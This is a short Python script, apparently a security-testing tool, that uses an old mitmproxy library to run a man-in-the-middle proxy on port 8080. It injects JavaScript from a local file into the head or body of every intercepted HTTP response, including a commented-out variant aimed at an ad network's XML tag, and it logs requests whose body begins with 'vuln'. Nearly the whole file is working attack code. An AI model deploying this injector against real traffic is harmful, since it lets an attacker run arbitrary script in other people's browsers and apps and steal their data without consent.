#!/usr/bin/env python
# Relies on having libmproxy >0.9 installed: http://mitmproxy.org/doc/scripting/libmproxy.html
# pip install mitmproxy

from libmproxy import controller, proxy, platform
import os, sys, datetime

class InjectingMaster(controller.Master):
  def __init__(self, server, js):
    controller.Master.__init__(self, server)
    self._js = js
    print 'Proxy started on port 8080...'

  def run(self):
    try:
      return controller.Master.run(self)
    except KeyboardInterrupt:
        self.shutdown()

  def handle_request(self, msg):
    timestamp = datetime.datetime.today().strftime('%Y/%m/%d %H:%M:%S')
    client_ip = msg.client_conn.address[0]
    request_url = '%s://%s%s' % (msg.scheme, msg.host, msg.path)
    if msg.content.find("vuln") ==0:
      #print '[%s %s] %s %s' % (timestamp, client_ip, msg.method, request_url)
      print '[%s %s] %s' % (timestamp, client_ip, request_url)
      print 'found ' + msg.content +"\r\n"
    msg.reply()

  def handle_response(self, msg):
    if msg.content: 
      # generic HTML injection
      a = msg.replace('<head>', '<head><script>%s</script>' % self._js)
      if a > 0:
        pass
        #print '[x] script injected into HTML head tag!'
      else:
        # generic HTML injection
        b = msg.replace('<body>', '<body><script>%s</script>' % self._js)
      msg.reply()
'''        
        if b > 0:
          pass          
          #print '[x] script injected into HTML body tag!'
        else:
          # mocean XML
          c = msg.replace('<content>', '<content>&lt;script src=&quot;%s&quot;&gt;&lt;/script&gt;' % self._js)
          if c > 0:
            pass
            #print '[x] %s' % self._js
            #print '[x] script injected into XML content tag!'
'''          



def main(argv):

  js = open("webview.js").read()

  config = proxy.ProxyConfig(
    cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"),
    #transparent_proxy = dict(resolver = platform.resolver(), sslports = [443, 8443])
    )

  server = proxy.ProxyServer(config, 8080)

  m = InjectingMaster(server, js)
  m.run()

if __name__ == '__main__':
  main(sys.argv)

